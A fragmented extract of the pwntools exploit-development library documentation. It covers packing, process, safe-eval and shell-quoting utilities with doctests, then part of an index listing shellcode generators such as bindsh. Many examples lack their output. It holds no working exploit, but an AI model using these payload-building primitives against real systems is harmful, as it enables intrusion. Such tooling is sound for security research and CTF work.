Takes a list of ascii values and returns the corresponding string.
Example
pwnlib.util.misc.align(alignment, x) → int
Rounds x up to nearest multiple of the alignment.
Example
pwnlib.util.misc.align_down(alignment, x) → int
Rounds x down to nearest multiple of the alignment.
Example
pwnlib.util.misc.binary_ip(host) → str
Resolve host and return IP as four byte string.
Example
>>> binary_ip("127.0.0.1")
b'\x7f\x00\x00\x01'
pwnlib.util.misc.dealarm_shell(tube)
Given a tube which is a shell, dealarm it.
pwnlib.util.misc.mkdir_p(path)
Emulates the behavior of mkdir -p.
pwnlib.util.misc.parse_ldd_output(output)
Parses the output from a run of ‘ldd’ on a binary. Returns a dictionary of {path: address} for each library
required by the specified binary.
Parameters output (str) – The output to parse
Example
>>> sorted(parse_ldd_output('''
... linux-vdso.so.1 => (0x00007fffbf5fe000)
... libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007fe28117f000)
... libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe280f7b000)
... libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe280bb4000)
... /lib64/ld-linux-x86-64.so.2 (0x00007fe2813dd000)
... ''').keys())
['/lib/x86_64-linux-gnu/libc.so.6', '/lib/x86_64-linux-gnu/libdl.so.2', '/lib/x86_
˓→64-linux-gnu/libtinfo.so.5', '/lib64/ld-linux-x86-64.so.2']
Examples
>>> read('/proc/self/exe')[:4]
b'\x7fELF'
pwnlib.util.misc.register_sizes(regs, in_sizes)
Create dictionaries over register sizes and relations
Given a list of lists of overlapping register names (e.g. [‘eax’,’ax’,’al’,’ah’]) and a list of input sizes, it returns
the following:
• all_regs : list of all valid registers
• sizes[reg] : the size of reg in bits
• bigger[reg] : list of overlapping registers bigger than reg
• smaller[reg]: list of overlapping registers smaller than reg
Used in i386/AMD64 shellcode, e.g. the mov-shellcode.
Example
>>> pprint(sizes)
{'ah': 8,
'al': 8,
'ax': 16,
'bh': 8,
'bl': 8,
'bp': 16,
'bx': 16,
'ch': 8,
'cl': 8,
'cx': 16,
'dh': 8,
'di': 16,
'dl': 8,
'dx': 16,
'eax': 32,
'ebp': 32,
'ebx': 32,
'ecx': 32,
'edi': 32,
'edx': 32,
'esi': 32,
'esp': 32,
(continues on next page)
Parameters
• command (str) – The command to run.
• terminal (str) – Which terminal to use.
• args (list) – Arguments to pass to the terminal
Note: The command is opened with /dev/null for stdin, stdout, stderr.
Example
>>> size(451)
'451B'
>>> size(1000)
'1000B'
>>> size(1024)
'1.00KB'
>>> size(1024, ' bytes')
'1.00K bytes'
>>> size(1024, si = True)
'1.02KB'
>>> [size(1024 ** n) for n in range(7)]
['1B', '1.00KB', '1.00MB', '1.00GB', '1.00TB', '1.00PB', '1024.00PB']
>>> size([])
'0B'
>>> size([1,2,3])
'3B'
Example
>>> which('sh')
'/bin/sh'
Examples
>>> p8(0)
b'\x00'
>>> p32(0xdeadbeef)
b'\xef\xbe\xad\xde'
>>> p32(0xdeadbeef, endian='big')
b'\xde\xad\xbe\xef'
>>> with context.local(endian='big'): p32(0xdeadbeef)
b'\xde\xad\xbe\xef'
>>> p=make_packer('all')
>>> p(0xff)
b'\xff'
>>> p(0x1ff)
b'\xff\x01'
>>> with context.local(endian='big'): print(repr(p(0x1ff)))
b'\xff\x01'
If dst is a mutable type it will be updated. Otherwise a new instance of the same type will be created. In either
case the result is returned.
src can be an iterable of characters or integers, a unicode string or a file object. If it is an iterable of integers,
each integer must be in the range [0;255]. If it is a unicode string, its UTF-8 encoding will be used.
The seek offset of file objects will be preserved.
Parameters
• dst – Supported types are :class:file, :class:list, :class:tuple, :class:str, :class:bytearray
and :class:unicode.
• src – An iterable of byte values (characters or integers), a unicode string or a file object.
• count (int) – How many bytes to copy. If count is 0 or larger than len(src[seek:]),
all bytes until the end of src are copied.
• skip (int) – Offset in dst to copy to.
• seek (int) – Offset in src to copy from.
• truncate (bool) – If :const:True, dst is truncated at the last copied byte.
Returns A modified version of dst. If dst is a mutable type it will be modified in-place.
Examples
'AAA\x00\x00\x00\x00'
pwnlib.util.packing.fit(*args, **kwargs)
Legacy alias for :func:flat
pwnlib.util.packing.flat(*a, **kw)
flat(*args, preprocessor = None, length = None, filler = de_bruijn(), word_size = None, endianness = None,
sign = None) -> str
Flattens the arguments into a string.
This function takes an arbitrary number of arbitrarily nested lists, tuples and dictionaries. It will then find every
string and number inside those and flatten them out. Strings are inserted directly while numbers are packed
using the pack() function. Unicode strings are UTF-8 encoded.
Dictionary keys give offsets at which to place the corresponding values (which are recursively flattened). Offsets
are relative to where the flattened dictionary occurs in the output (i.e. {0: ‘foo’} is equivalent to ‘foo’). Offsets
can be integers, unicode strings or regular strings. Integer offsets >= 2**(word_size-8) are converted to a
string using :func:pack. Unicode strings are UTF-8 encoded. After these conversions offsets are either integers
or strings. In the latter case, the offset will be the lowest index at which the string occurs in filler. See examples
below.
Space between pieces of data is filled out using the iterable filler. The n’th byte in the output will be byte at
index n % len(iterable) byte in filler if it has finite length or the byte at index n otherwise.
If length is given, the output will be padded with bytes from filler to be this size. If the output is longer than
length, a ValueError exception is raised.
The three kwargs word_size, endianness and sign will default to using values in pwnlib.context if not
specified as an argument.
Parameters
• args – Values to flatten
• preprocessor (function) – Gets called on every element to optionally transform the
element before flattening. If None is returned, then the original value is used.
• length – The length of the output.
• filler – Iterable to use for padding.
• word_size (int) – Word size of the converted integer.
• endianness (str) – Endianness of the converted integer (“little”/”big”).
• sign (str) – Signedness of the converted integer (False/True)
Examples
b'\x01\x00testABABABABABAB'
>>> flat([1, [2, 3]], preprocessor = lambda x: str(x+1))
b'234'
>>> flat({12: 0x41414141,
... 24: 'Hello',
... })
b'aaaabaaacaaaAAAAeaaafaaaHello'
>>> flat({'caaa': ''})
b'aaaabaaa'
>>> flat({12: 'XXXX'}, filler = (ord('A'), ord('B')), length = 20)
b'ABABABABABABXXXXABAB'
>>> flat({ 8: [0x41414141, 0x42424242],
... 20: 'CCCC'})
b'aaaabaaaAAAABBBBeaaaCCCC'
>>> flat({ 0x61616162: 'X'})
b'aaaaX'
>>> flat({4: {0: 'X', 4: 'Y'}})
b'aaaaXaaaY'
• endianness (str) – The endianness to be baked into the returned packer. (“little”/”big”)
• sign (str) – The signness to be baked into the returned packer. (“unsigned”/”signed”)
• kwargs – Additional context flags, for setting by alias (e.g. endian= rather than index)
Returns A function, which takes a single argument in the form of a number and returns a string of
that number in a packed form.
Examples
Examples
word_size can be any positive number. The output will contain word_size/8 rounded up number of bytes. If
word_size is not a multiple of 8, it will be padded with zeroes up to a byte boundary.
Parameters
• number (int) – Number to convert
• word_size (int) – Word size of the converted integer or the string ‘all’ (in bits).
• endianness (str) – Endianness of the converted integer (“little”/”big”)
• sign (str) – Signedness of the converted integer (False/True)
• kwargs – Anything that can be passed to context.local
Returns The packed number as a string.
Examples
pwnlib.util.packing.routine(*a, **kw)
u32(number, sign, endian, . . . ) -> int
Unpacks an 32-bit integer
Parameters
• data (str) – String to convert
• endianness (str) – Endianness of the converted integer (“little”/”big”)
• sign (str) – Signedness of the converted integer (“unsigned”/”signed”)
• kwargs (dict) – Arguments passed to context.local(), such as endian or signed.
Returns The unpacked number
pwnlib.util.packing.u16(number, sign, endian, ...) → int
Unpacks an 16-bit integer
Parameters
• word_size (int) – Word size of the converted integer or the string “all” (in bits).
• endianness (str) – Endianness of the converted integer (“little”/”big”)
• sign (str) – Signedness of the converted integer (False/True)
• kwargs – Anything that can be passed to context.local
Returns The unpacked number.
Examples
pwnlib.util.packing.unpack_many(*a, **kw)
unpack(data, word_size = None, endianness = None, sign = None) -> int list
Splits data into groups of word_size//8 bytes and calls unpack() on each group. Returns a list of the
results.
word_size must be a multiple of 8 or the string “all”. In the latter case a singleton list will always be returned.
Args number (int): String to convert word_size (int): Word size of the converted integers or the string “all” (in
bits). endianness (str): Endianness of the converted integer (“little”/”big”) sign (str): Signedness of the
converted integer (False/True) kwargs: Anything that can be passed to context.local
Examples
['0x55aa', '0x33cc']
>>> list(map(hex, unpack_many(b'\xaa\x55\xcc\x33', 16, endian='big', sign=False)))
['0xaa55', '0xcc33']
>>> list(map(hex, unpack_many(b'\xaa\x55\xcc\x33', 16, endian='big', sign=True)))
['-0x55ab', '-0x33cd']
>>> list(map(hex, unpack_many(b'\xff\x02\x03', 'all', endian='little',
˓→sign=True)))
['0x302ff']
>>> list(map(hex, unpack_many(b'\xff\x02\x03', 'all', endian='big', sign=True)))
['-0xfdfd']
Example
Example
pwnlib.util.proc.cwd(pid) → str
Parameters pid (int) – PID of the process.
Returns The path of the process’s current working directory. I.e. what /proc/<pid>/cwd points
to.
Example
pwnlib.util.proc.descendants(pid) → dict
Parameters pid (int) – PID of the process.
Returns Dictionary mapping the PID of each child of pid to it’s descendants.
Example
>>> d = descendants(os.getppid())
>>> os.getpid() in d.keys()
True
pwnlib.util.proc.exe(pid) → str
Example
pwnlib.util.proc.name(pid) → str
Parameters pid (int) – PID of the process.
Returns Name of process as listed in /proc/<pid>/status.
Example
>>> p = process('cat')
>>> name(p.pid)
'cat'
pwnlib.util.proc.parent(pid) → int
Parameters pid (int) – PID of the process.
Returns Parent PID as listed in /proc/<pid>/status under PPid, or 0 if there is not parent.
pwnlib.util.proc.pid_by_name(name) → int list
Parameters name (str) – Name of program.
Returns List of PIDs matching name sorted by lifetime, youngest to oldest.
Example
Example
>>> l = tubes.listen.listen()
>>> p = process(['curl', '-s', 'http://127.0.0.1:%d'%l.lport])
>>> pidof(p) == pidof(l) == pidof(('127.0.0.1', l.lport))
True
pwnlib.util.proc.starttime(pid) → float
Parameters pid (int) – PID of the process.
Returns The time (in seconds) the process started after system boot
Example
Example
>>> stat(os.getpid())[2]
'R'
pwnlib.util.proc.state(pid) → str
Parameters pid (int) – PID of the process.
Returns State of the process as listed in /proc/<pid>/status. See proc(5) for details.
Example
>>> state(os.getpid())
'R (running)'
pwnlib.util.proc.status(pid) → dict
Get the status of a process.
Parameters pid (int) – PID of the process.
Returns The contents of /proc/<pid>/status as a dictionary.
pwnlib.util.proc.tracer(pid) → int
Parameters pid (int) – PID of the process.
Returns PID of the process tracing pid, or None if no pid is not being traced.
Example
pwnlib.util.proc.wait_for_debugger(pid) → None
Sleeps until the process with PID pid is being traced.
Parameters pid (int) – PID of the process.
Returns None
pwnlib.util.safeeval.const(expression) → value
Safe Python constant evaluation
Evaluates a string that contains an expression describing a Python constant. Strings that are not valid Python
expressions or that contain other code besides the constant raise ValueError.
Examples
>>> const("10")
10
>>> const("[1,2, (3,4), {'foo':'bar'}]")
[1, 2, (3, 4), {'foo': 'bar'}]
>>> const("[1]+[2]")
Traceback (most recent call last):
...
ValueError: opcode BINARY_ADD not allowed
pwnlib.util.safeeval.expr(expression) → value
Safe Python expression evaluation
Evaluates a string that contains an expression that only uses Python constants. This can be used to e.g. evaluate
a numerical expression from an untrusted source.
Examples
>>> expr("1+2")
3
>>> expr("[1,2]*2")
[1, 2, 1, 2]
>>> expr("__import__('sys').modules")
Traceback (most recent call last):
...
ValueError: opcode LOAD_NAME not allowed
Examples
Routines here are for getting any NULL-terminated sequence of bytes evaluated intact by any shell. This includes all
variants of quotes, whitespace, and non-printable characters.
Ubuntu 14.04 and 16.04 use the Dash shell, and /bin/sh is actually just a symlink to /bin/dash. The feature set supported
when invoked as “sh” instead of “dash” is different, and we focus exclusively on the “/bin/sh” implementation.
From the Ubuntu Man Pages, every character except for single-quote can be wrapped in single-quotes, and a backslash
can be used to escape unquoted single-quotes.
Quoting
Quoting is used to remove the special meaning of certain characters or
words to the shell, such as operators, whitespace, or keywords. There
(continues on next page)
Backslash
A backslash preserves the literal meaning of the following character,
with the exception of newline. A backslash preceding a newline is
treated as a line continuation.
Single Quotes
Enclosing characters in single quotes preserves the literal meaning of
all the characters (except single quotes, making it impossible to put
single-quotes in a single-quoted string).
Double Quotes
Enclosing characters within double quotes preserves the literal meaning
of all characters except dollarsign ($), backquote (`), and backslash
(\). The backslash inside double quotes is historically weird, and
serves to quote only the following characters:
$ ` " \ <newline>.
Otherwise it remains literal.
GNU Bash
The Bash shell is default on many systems, though it is not generally the default system-wide shell (i.e., the system
syscall does not generally invoke it).
That said, its prevalence suggests that it also be addressed.
From the GNU Bash Manual, every character except for single-quote can be wrapped in single-quotes, and a backslash
can be used to escape unquoted single-quotes.
3.1.2.1 Escape Character
The special parameters ‘*’ and ‘@’ have special meaning when in double quotes
see Shell Parameter Expansion).
Z Shell
The Z shell is also a relatively common user shell, even though it’s not generally the default system-wide shell.
From the Z Shell Manual, every character except for single-quote can be wrapped in single-quotes, and a backslash
can be used to escape unquoted single-quotes.
A character may be quoted (that is, made to stand for itself) by preceding
it with a ‘\’. ‘\’ followed by a newline is ignored.
A string enclosed between ‘$'’ and ‘'’ is processed the same way as the
string arguments of the print builtin, and the resulting string is considered
o be entirely quoted. A literal ‘'’ character can be included in the string
by using the ‘\'’ escape.
All characters enclosed between a pair of single quotes ('') that is not
preceded by a ‘$’ are quoted. A single quote cannot appear within single
quotes unless the option RC_QUOTES is set, in which case a pair of single
quotes are turned into a single quote. For example,
print ''''
outputs nothing apart from a newline if RC_QUOTES is not set, but one single
quote if it is set.
Inside double quotes (""), parameter and command substitution occur, and
‘\’ quotes the characters ‘\’, ‘`’, ‘"’, and ‘$’.
FreeBSD Shell
Single Quotes
Enclosing characters in single quotes preserves the literal mean-
ing of all the characters (except single quotes, making it impos-
sible to put single-quotes in a single-quoted string).
Dollar-Single Quotes
Enclosing characters between $' and ' preserves the literal mean-
(continues on next page)
...
Double Quotes
Enclosing characters within double quotes preserves the literal
meaning of all characters except dollar sign (`$'), backquote
(``'), and backslash (`\'). The backslash inside double quotes
is historically weird. It remains literal unless it precedes the
following characters, which it serves to quote:
$ ` " \ \n
Backslash
A backslash preserves the literal meaning of the following char-
acter, with the exception of the newline character (`\n'). A
backslash preceding a newline is treated as a line continuation.
OpenBSD Shell
From the OpenBSD Man Pages, every character except for single-quote can be wrapped in single-quotes, and a back-
slash can be used to escape unquoted single-quotes.
NetBSD Shell
Android Shells
Toybox Shell
Android 6.0 (and possibly other versions) use a shell based on toybox.
While it does not include a printf builtin, toybox itself includes a POSIX-compliant printf binary.
The Ash shells should be feature-compatible with dash.
BusyBox Shell
BusyBox’s Wikipedia page claims to use an ash-compliant shell, and should therefore be compatible with dash.
pwnlib.util.sh_string.sh_command_with(f, arg0, ..., argN) → command
Returns a command create by evaluating f(new_arg0, . . . , new_argN) whenever f is a function and f %
(new_arg0, . . . , new_argN) otherwise.
If the arguments are purely alphanumeric, then they are simply passed to function. If they are simple to escape,
they will be escaped and passed to the function.
If the arguments contain trailing newlines, then it is hard to use them directly because of a limitation in the posix
shell. In this case the output from f is prepended with a bit of code to create the variables.
Examples
pwnlib.util.sh_string.sh_prepare(variables, export=False)
Outputs a posix compliant shell command that will put the data specified by the dictionary into the environment.
It is assumed that the keys in the dictionary are valid variable names that does not need any escaping.
Parameters
• variables (dict) – The variables to set.
• export (bool) – Should the variables be exported or only stored in the shell environment?
• output (str) – A valid posix shell command that will set the given variables.
It is assumed that var is a valid name for a variable in the shell.
Examples
pwnlib.util.sh_string.sh_string(s)
Outputs a string in a format that will be understood by /bin/sh.
If the string does not contain any bad characters, it will simply be returned, possibly with quotes. If it contains
bad characters, it will be escaped in a way which is compatible with most known systems.
Warning: This does not play along well with the shell’s built-in “echo”. It works exactly as expected to set
environment variables and arguments, unless it’s the shell-builtin echo.
Examples
>>> sh_string('foobar')
'foobar'
>>> sh_string('foo bar')
"'foo bar'"
>>> sh_string("foo'bar")
"'foo'\\''bar'"
>>> sh_string("foo\\\\bar")
"'foo\\\\bar'"
>>> sh_string("foo\\\\'bar")
"'foo\\\\'\\''bar'"
>>> sh_string("foo\\x01'bar")
"'foo\\x01'\\''bar'"
pwnlib.util.sh_string.test(original)
Tests the output provided by a shell interpreting a string
>>> test(b'foobar')
>>> test(b'foo bar')
>>> test(b'foo bar\n')
>>> test(b"foo'bar")
>>> test(b"foo\\\\bar")
(continues on next page)
Example
Module-level documentation would go here, along with a general description of the functionality. You can also add
module-level doctests.
You can see what the documentation for this module will look like here: https://docs.pwntools.com/en/stable/
testexample.html
The tests for this module are run when the documentation is automatically-generated by Sphinx. This particular
module is invoked by an “automodule” directive, which imports everything in the module, or everything listed in
__all__ in the module.
The doctests are automatically picked up by the >>> symbol, like from the Python prompt. For more on doctests, see
the Python documentation.
All of the syntax in this file is ReStructuredText. You can find a nice cheat sheet here.
Here’s an example of a module-level doctest:
Some things in Python are non-deterministic, like dict or set ordering. There are a lot of ways to work around this,
but the accepted way of doing this is to test for equality.
In order to use other modules, they need to be imported from the RST which documents the module.
>>> os.path.basename('foo/bar')
'bar'
pwnlib.testexample.add(a, b) → int
Adds the numbers a and b.
Parameters
• a (int) – First number to add
• b (int) – Second number to add
Returns The sum of a and b.
Examples
>>> add(1,2)
3
>>> add(-1, 33)
32
• genindex
• modindex
• search
315
pwntools Documentation, Release 4.0.1
p pwnlib.shellcraft.aarch64, 125
pwn, 3 pwnlib.shellcraft.aarch64.linux, 129
pwnlib, 4 pwnlib.shellcraft.amd64, 132
pwnlib.adb.adb, 21 pwnlib.shellcraft.amd64.linux, 138
pwnlib.adb.protocol, 28 pwnlib.shellcraft.arm, 143
pwnlib.args, 29 pwnlib.shellcraft.arm.linux, 146
pwnlib.asm, 30 pwnlib.shellcraft.common, 149
pwnlib.atexception, 34 pwnlib.shellcraft.i386, 149
pwnlib.atexit, 34 pwnlib.shellcraft.i386.freebsd, 161
pwnlib.config, 36 pwnlib.shellcraft.i386.linux, 156
pwnlib.constants, 35 pwnlib.shellcraft.mips, 162
pwnlib.context, 37 pwnlib.shellcraft.mips.linux, 165
pwnlib.dynelf, 49 pwnlib.shellcraft.thumb, 171
pwnlib.elf, 52 pwnlib.shellcraft.thumb.linux, 175
pwnlib.elf.config, 66 pwnlib.term, 178
pwnlib.elf.corefile, 66 pwnlib.testexample, 313
pwnlib.elf.elf, 52 pwnlib.timeout, 178
pwnlib.encoders, 51 pwnlib.tubes, 180
pwnlib.encoders.amd64, 52 pwnlib.tubes.buffer, 180
pwnlib.encoders.arm, 52 pwnlib.tubes.listen, 189
pwnlib.encoders.encoder, 51 pwnlib.tubes.process, 182
pwnlib.encoders.i386, 52 pwnlib.tubes.remote, 188
pwnlib.encoders.i386.xor, 52 pwnlib.tubes.serialtube, 187
pwnlib.exception, 75 pwnlib.tubes.server, 190
pwnlib.flag, 76 pwnlib.tubes.sock, 188
pwnlib.fmtstr, 76 pwnlib.tubes.ssh, 191
pwnlib.gdb, 84 pwnlib.tubes.tube, 202
pwnlib.libcdb, 91 pwnlib.ui, 216
pwnlib.log, 93 pwnlib.update, 217
pwnlib.memleak, 97 pwnlib.useragents, 218
pwnlib.protocols, 105 pwnlib.util.crc, 218
pwnlib.protocols.adb, 105 pwnlib.util.cyclic, 262
pwnlib.qemu, 108 pwnlib.util.fiddling, 265
pwnlib.regsort, 168 pwnlib.util.getdents, 275
pwnlib.replacements, 110 pwnlib.util.hashes, 276
pwnlib.rop.rop, 110 pwnlib.util.iters, 277
pwnlib.rop.srop, 119 pwnlib.util.lists, 288
pwnlib.runner, 124 pwnlib.util.misc, 290
pwnlib.shellcraft, 125 pwnlib.util.net, 294
pwnlib.util.packing, 295
317
pwntools Documentation, Release 4.0.1
pwnlib.util.proc, 303
pwnlib.util.safeeval, 306
pwnlib.util.sh_string, 307
pwnlib.util.web, 313
319
pwntools Documentation, Release 4.0.1
320 Index
pwntools Documentation, Release 4.0.1
ancestors() (in module pwnlib.util.proc), 303 bitswap() (in module pwnlib.util.fiddling), 266
arc() (in module pwnlib.util.crc), 220 bitswap_int() (in module pwnlib.util.fiddling), 266
arch (pwnlib.context.ContextType attribute), 41 bnot() (in module pwnlib.util.fiddling), 267
arch (pwnlib.elf.elf.ELF attribute), 60 boot_time() (in module pwnlib.adb.adb), 22
arch (pwnlib.tubes.ssh.ssh attribute), 200 breakpoint() (in module pwnlib.shellcraft.aarch64),
architectures (pwnlib.context.ContextType at- 125
tribute), 42 breakpoint() (in module pwnlib.shellcraft.i386), 149
archname() (in module pwnlib.qemu), 109 bruteforce() (in module pwnlib.util.iters), 277
arg bss() (pwnlib.elf.elf.ELF method), 53
pwn-shellcraft command line option, Buffer, 180
18 buffer_size (pwnlib.context.ContextType attribute),
argc (pwnlib.elf.corefile.Corefile attribute), 71 42
argc_address (pwnlib.elf.corefile.Corefile attribute), build (pwnlib.elf.elf.ELF attribute), 60
71 build() (in module pwnlib.adb.adb), 22
argv (pwnlib.elf.corefile.Corefile attribute), 72 build() (pwnlib.rop.rop.ROP method), 117
argv (pwnlib.tubes.process.process attribute), 186 buildid (pwnlib.elf.elf.ELF attribute), 60
argv_address (pwnlib.elf.corefile.Corefile attribute), bytes
72 pwn-elfpatch command line option, 16
asan (pwnlib.elf.elf.ELF attribute), 60 bytes (pwnlib.context.ContextType attribute), 43
asbool() (in module pwnlib.args), 30 bytes (pwnlib.elf.elf.ELF attribute), 60
aslr (pwnlib.context.ContextType attribute), 42
aslr (pwnlib.elf.elf.ELF attribute), 60 C
aslr (pwnlib.tubes.process.process attribute), 186 c (pwnlib.protocols.adb.AdbClient attribute), 108
aslr (pwnlib.tubes.ssh.ssh attribute), 200 cache (pwnlib.tubes.ssh.ssh attribute), 200
aslr_ulimit (pwnlib.tubes.ssh.ssh attribute), 200 cache_dir (pwnlib.context.ContextType attribute), 43
asm() (in module pwnlib.asm), 30 cache_file() (in module pwnlib.update), 217
asm() (pwnlib.elf.elf.ELF method), 53 cacheflush() (in module pwn-
AtomWrite (class in pwnlib.fmtstr), 78 lib.shellcraft.arm.linux), 146
attach() (in module pwnlib.gdb), 86 call() (pwnlib.rop.rop.ROP method), 117
available_on_pypi() (in module pwnlib.update), can_init() (in module pwnlib.term), 178
217 can_read() (pwnlib.tubes.tube.tube method), 202
can_read_raw() (pwnlib.tubes.tube.tube method),
B 202
b can_recv() (pwnlib.tubes.tube.tube method), 202
pwn-elfdiff command line option, 16 can_recv_raw() (pwnlib.tubes.process.process
b() (pwnlib.memleak.MemLeak method), 98 method), 184
b64d() (in module pwnlib.util.fiddling), 265 can_recv_raw() (pwnlib.tubes.serialtube.serialtube
b64e() (in module pwnlib.util.fiddling), 265 method), 187
base (pwnlib.rop.rop.ROP attribute), 119 canary (pwnlib.elf.elf.ELF attribute), 60
bases() (pwnlib.dynelf.DynELF method), 50 canonname (pwnlib.tubes.listen.listen attribute), 189
binary (pwnlib.context.ContextType attribute), 42 canonname (pwnlib.tubes.server.server attribute), 191
binary() (in module pwnlib.gdb), 87 cat() (in module pwnlib.shellcraft.aarch64.linux), 129
binary_ip() (in module pwnlib.util.misc), 290 cat() (in module pwnlib.shellcraft.amd64.linux), 138
bindsh() (in module pwnlib.shellcraft.amd64.linux), cat() (in module pwnlib.shellcraft.arm.linux), 147
138 cat() (in module pwnlib.shellcraft.i386.linux), 156
bindsh() (in module pwnlib.shellcraft.mips.linux), 165 cat() (in module pwnlib.shellcraft.mips.linux), 165
bindsh() (in module pwnlib.shellcraft.thumb.linux), cat() (in module pwnlib.shellcraft.thumb.linux), 175
175 chain() (in module pwnlib.util.iters), 287
BitPolynom (class in pwnlib.util.crc), 219 chain() (pwnlib.rop.rop.ROP method), 117
bits (pwnlib.context.ContextType attribute), 42 chained() (in module pwnlib.util.iters), 278
bits (pwnlib.elf.elf.ELF attribute), 60 check_cycle() (in module pwnlib.regsort), 168
bits (pwnlib.tubes.ssh.ssh attribute), 200 checksec() (pwnlib.elf.elf.ELF method), 53
bits() (in module pwnlib.util.fiddling), 265 checksec() (pwnlib.tubes.ssh.ssh method), 192
bits_str() (in module pwnlib.util.fiddling), 266 children() (in module pwnlib.util.proc), 303
Index 321
pwntools Documentation, Release 4.0.1
322 Index
pwntools Documentation, Release 4.0.1
crc_16_cdma2000() (in module pwnlib.util.crc), 228 crc_64_xz() (in module pwnlib.util.crc), 248
crc_16_cms() (in module pwnlib.util.crc), 228 crc_6_cdma2000_a() (in module pwnlib.util.crc),
crc_16_dds_110() (in module pwnlib.util.crc), 229 248
crc_16_dect_r() (in module pwnlib.util.crc), 229 crc_6_cdma2000_b() (in module pwnlib.util.crc),
crc_16_dect_x() (in module pwnlib.util.crc), 230 249
crc_16_dnp() (in module pwnlib.util.crc), 230 crc_6_darc() (in module pwnlib.util.crc), 249
crc_16_en_13757() (in module pwnlib.util.crc), 230 crc_6_gsm() (in module pwnlib.util.crc), 250
crc_16_genibus() (in module pwnlib.util.crc), 231 crc_6_itu() (in module pwnlib.util.crc), 250
crc_16_gsm() (in module pwnlib.util.crc), 231 crc_7() (in module pwnlib.util.crc), 250
crc_16_lj1200() (in module pwnlib.util.crc), 232 crc_7_rohc() (in module pwnlib.util.crc), 251
crc_16_maxim() (in module pwnlib.util.crc), 232 crc_7_umts() (in module pwnlib.util.crc), 251
crc_16_mcrf4xx() (in module pwnlib.util.crc), 233 crc_8() (in module pwnlib.util.crc), 252
crc_16_opensafety_a() (in module pwn- crc_82_darc() (in module pwnlib.util.crc), 252
lib.util.crc), 233 crc_8_autosar() (in module pwnlib.util.crc), 253
crc_16_opensafety_b() (in module pwn- crc_8_cdma2000() (in module pwnlib.util.crc), 253
lib.util.crc), 233 crc_8_darc() (in module pwnlib.util.crc), 253
crc_16_profibus() (in module pwnlib.util.crc), 234 crc_8_dvb_s2() (in module pwnlib.util.crc), 254
crc_16_riello() (in module pwnlib.util.crc), 234 crc_8_ebu() (in module pwnlib.util.crc), 254
crc_16_t10_dif() (in module pwnlib.util.crc), 235 crc_8_gsm_a() (in module pwnlib.util.crc), 255
crc_16_teledisk() (in module pwnlib.util.crc), 235 crc_8_gsm_b() (in module pwnlib.util.crc), 255
crc_16_tms37157() (in module pwnlib.util.crc), 235 crc_8_i_code() (in module pwnlib.util.crc), 255
crc_16_usb() (in module pwnlib.util.crc), 236 crc_8_itu() (in module pwnlib.util.crc), 256
crc_24() (in module pwnlib.util.crc), 236 crc_8_lte() (in module pwnlib.util.crc), 256
crc_24_ble() (in module pwnlib.util.crc), 237 crc_8_maxim() (in module pwnlib.util.crc), 257
crc_24_flexray_a() (in module pwnlib.util.crc), crc_8_opensafety() (in module pwnlib.util.crc),
237 257
crc_24_flexray_b() (in module pwnlib.util.crc), crc_8_rohc() (in module pwnlib.util.crc), 258
238 crc_8_sae_j1850() (in module pwnlib.util.crc), 258
crc_24_interlaken() (in module pwnlib.util.crc), crc_8_wcdma() (in module pwnlib.util.crc), 258
238 crc_a() (in module pwnlib.util.crc), 259
crc_24_lte_a() (in module pwnlib.util.crc), 238 critical() (pwnlib.log.Logger method), 96
crc_24_lte_b() (in module pwnlib.util.crc), 239 current_device() (in module pwnlib.adb.adb), 22
crc_30_cdma() (in module pwnlib.util.crc), 239 cwd (pwnlib.tubes.process.process attribute), 186
crc_31_philips() (in module pwnlib.util.crc), 240 cwd (pwnlib.tubes.ssh.ssh attribute), 201
crc_32() (in module pwnlib.util.crc), 240 cwd() (in module pwnlib.util.proc), 303
crc_32_autosar() (in module pwnlib.util.crc), 240 cycle() (in module pwnlib.util.iters), 287
crc_32_bzip2() (in module pwnlib.util.crc), 241 cyclen() (in module pwnlib.util.iters), 278
crc_32_mpeg_2() (in module pwnlib.util.crc), 241 cyclic() (in module pwnlib.util.cyclic), 262
crc_32_posix() (in module pwnlib.util.crc), 242 cyclic_alphabet (pwnlib.context.ContextType at-
crc_32c() (in module pwnlib.util.crc), 242 tribute), 43
crc_32d() (in module pwnlib.util.crc), 243 cyclic_find() (in module pwnlib.util.cyclic), 263
crc_32q() (in module pwnlib.util.crc), 243 cyclic_metasploit() (in module pwn-
crc_3_gsm() (in module pwnlib.util.crc), 243 lib.util.cyclic), 264
crc_3_rohc() (in module pwnlib.util.crc), 244 cyclic_metasploit_find() (in module pwn-
crc_40_gsm() (in module pwnlib.util.crc), 244 lib.util.cyclic), 264
crc_4_interlaken() (in module pwnlib.util.crc), cyclic_size (pwnlib.context.ContextType attribute),
245 43
crc_4_itu() (in module pwnlib.util.crc), 245
crc_5_epc() (in module pwnlib.util.crc), 245 D
crc_5_itu() (in module pwnlib.util.crc), 246 d() (pwnlib.memleak.MemLeak method), 100
crc_5_usb() (in module pwnlib.util.crc), 246 data
crc_64() (in module pwnlib.util.crc), 247 pwn-hex command line option, 16
crc_64_go_iso() (in module pwnlib.util.crc), 247 data (pwnlib.elf.corefile.Mapping attribute), 75
crc_64_we() (in module pwnlib.util.crc), 248 data (pwnlib.elf.elf.ELF attribute), 60
Index 323
pwntools Documentation, Release 4.0.1
324 Index
pwntools Documentation, Release 4.0.1
Index 325
pwntools Documentation, Release 4.0.1
326 Index
pwntools Documentation, Release 4.0.1
Index 327
pwntools Documentation, Release 4.0.1
328 Index
pwntools Documentation, Release 4.0.1
pause() (in module pwnlib.ui), 217 pushstr() (in module pwnlib.shellcraft.aarch64), 127
pc (pwnlib.elf.corefile.Corefile attribute), 73 pushstr() (in module pwnlib.shellcraft.amd64), 135
perform_check() (in module pwnlib.update), 217 pushstr() (in module pwnlib.shellcraft.arm), 144
permstr (pwnlib.elf.corefile.Mapping attribute), 75 pushstr() (in module pwnlib.shellcraft.i386), 152
permutations() (in module pwnlib.util.iters), 287 pushstr() (in module pwnlib.shellcraft.mips), 163
pid (pwnlib.elf.corefile.Corefile attribute), 73 pushstr() (in module pwnlib.shellcraft.thumb), 173
pid (pwnlib.tubes.ssh.ssh attribute), 201 pushstr_array() (in module pwn-
pid_by_name() (in module pwnlib.util.proc), 304 lib.shellcraft.amd64), 136
pidmax() (in module pwnlib.shellcraft.i386.linux), 158 pushstr_array() (in module pwnlib.shellcraft.arm),
